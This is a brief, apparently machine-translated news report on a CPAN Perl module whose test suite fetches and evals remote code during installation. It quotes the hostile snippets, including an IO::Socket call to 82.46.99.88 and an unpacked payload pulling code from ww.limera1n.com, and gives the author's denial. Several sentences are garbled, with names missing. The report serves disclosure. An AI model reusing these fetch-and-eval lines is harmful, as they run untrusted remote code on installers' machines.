In the Perl package distributed through the CPAN directory , designed for on-the-fly automatic loading of CPAN modules, malicious code. The malicious insertion was in the test code , which has been provided since 2011.
Notably, questions about loading suspicious code arose back in 2016.
Malicious activity is limited to attempts to load and execute code from an external server (http://r.cx:1/) during the execution of the test suite initiated when installing the module. It is assumed that the initially loaded code from the external server was not malicious, but now the request is redirected to the domain ww.limera1n.com, which delivers its portion of code for execution.
To organize the loading, the following code is used in the file :
my $prog = __FILE__;
$prog =~ s{[^\/]+\.t}{..\/contrib\/RCX.pl}x;
my $try = `$^X $prog`;
The specified code results in the execution of the script , the content of which boils down to the line:
use lib do{eval && botstrap("RCX") if $b=new IO::Socket::INET 82.46.99.88.:1"};
This script loads using the service code from the external host r.cx (the IP codes 82.46.99.88 correspond to the text "R.cX") and executes it in the eval block.
$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.:1"; print ;'
eval unpack u=q{_<'I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}
After unpacking, the following is ultimately executed :
print{$b=new IO::Socket::INET"ww.limera1n.com:80"}>>GET /iJailBreak
";eval or return warn$@ while$b;1
Currently, the problematic package has been removed from the repository (Perl Authors Upload Server), and the author's account has been blocked. However, the module remains in the MetaCPAN archive and can be installed directly from MetaCPAN using some utilities like cpanminus. , indicating that the package was not widely distributed.
Interestingly, the discussion includes the module's author, who denied the information that the malicious code was inserted after his website "r.cx" was hacked, explaining that he was just having fun, and that perlobfuscator.com was not used to hide something, but to reduce code size and simplify copying through the clipboard. The choice of the function name "botstrap" is explained by the fact that it sounds like bot and is shorter than bootstrap. The module author also assured that the identified manipulations do not perform malicious actions, but merely demonstrate the loading and execution of code via TCP.
Source: opennet.ru
